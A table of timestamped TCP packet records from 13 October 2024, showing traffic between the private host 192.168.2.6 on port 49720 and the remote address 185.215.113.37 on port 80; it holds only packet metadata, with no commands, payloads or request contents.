Oct 13, 2024 14:49:18.163542032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.163691044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.164659977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.164680004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.164690018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.164711952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.164746046 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.165283918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.165302992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.165311098 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.165334940 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.165365934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.166244030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.166290998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.166300058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.166309118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.166336060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.166367054 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.167185068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.167202950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.167233944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.167254925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.167258024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.167268991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.167304039 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.168370962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.168390036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.168397903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.168416977 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.168447971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.168986082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.169033051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.169039011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.169043064 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.169075012 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.169238091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.169255018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.169289112 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.169297934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.169317007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.169317961 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.169337034 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.169363022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.169712067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.169755936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.169764996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.169769049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.169795990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.169991970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.170011044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.170039892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.170068979 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.170073986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.170084953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.170120955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.170542002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.170572996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.170581102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.170600891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.170628071 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.170968056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.170978069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.171013117 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.171030045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.171030998 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.171055079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.171077013 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.171366930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.171377897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.171400070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.171408892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.171433926 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.171464920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.172174931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.172184944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.172204018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.172213078 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.172231913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.172262907 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.172684908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.172702074 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.172732115 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.172748089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.172750950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.172760010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.172787905 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.172813892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.173480034 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.173491001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.173506975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.173515081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.173532963 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.173558950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.173778057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.173815012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.173824072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.173845053 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.173845053 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.173878908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.175000906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.175014019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.175029993 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.175040007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.175059080 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.175086975 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.175112009 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.175323963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.175333023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.175380945 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.175396919 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.175406933 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.175441980 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.175941944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.175951958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.175971031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.175978899 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.175995111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.176021099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.252255917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.252264977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.252424955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.300153971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.300172091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.300182104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.300338984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.300338984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.301078081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.301094055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.301105022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.301239014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.301239014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.301239014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.301327944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.301712036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.301727057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.301736116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.301865101 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.301865101 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.302195072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.302206039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.302213907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.302261114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.302295923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.303802967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.303813934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.303818941 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.303874969 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.304979086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.304990053 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305000067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305011034 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305021048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305031061 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.305032015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305043936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305063009 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.305090904 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.305124044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305135012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305140972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305150032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305160046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305171013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305171967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.305198908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.305228949 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.305299044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305310965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305341959 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.305372953 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.305475950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305488110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305497885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305507898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305517912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305524111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.305531979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305541039 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.305571079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.305646896 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305659056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305669069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305681944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.305682898 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.305711985 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.305741072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.306473970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.306521893 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.306636095 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.306646109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.306678057 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310173988 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310190916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310201883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310213089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310228109 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310257912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310353994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310370922 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310381889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310393095 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310403109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310411930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310422897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310432911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310442924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310453892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310463905 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310473919 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310482025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310516119 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310516119 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310517073 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310517073 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310517073 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310517073 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310595036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310604095 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310606956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310616970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310627937 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310636044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310638905 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310657024 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310697079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310703039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310718060 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310726881 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310739040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.310750008 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.310790062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.311180115 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.311189890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.311199903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.311219931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.311247110 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.311322927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.311363935 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.311650991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.311661959 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.311688900 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.311714888 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.311800003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.311840057 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.311954021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.311963081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.311974049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.311996937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.312024117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.312104940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.312145948 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.312969923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.312982082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.312990904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.313016891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.313043118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.314002991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.314013958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.314023018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.314048052 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.314076900 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.314711094 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.314723015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.314732075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.314764977 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.314830065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.315438986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.315494061 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.315618992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.315628052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.315659046 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.315673113 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.316555023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.316566944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.316576004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.316600084 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.316623926 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.316806078 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.316817045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.316827059 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.316847086 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.316876888 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.340977907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.340987921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.340997934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.341007948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.341069937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.341105938 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.386827946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.386842966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.386853933 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.386863947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.386974096 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.431431055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.431444883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.431454897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.431607008 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.431824923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.431833982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.431843996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.431853056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.431895971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.432907104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.432918072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.432926893 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.432946920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.432982922 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.433005095 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.433370113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.433378935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.433387995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.433401108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.433414936 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.433442116 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.434596062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.434606075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.434613943 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.434637070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.434658051 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.434779882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.434792042 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.434801102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.434809923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.434822083 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.434843063 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.435808897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.435818911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.435827971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.435856104 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.435878992 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.436619043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.436629057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.436636925 CEST	80	49720	185.215.113.37	192.168.2.6
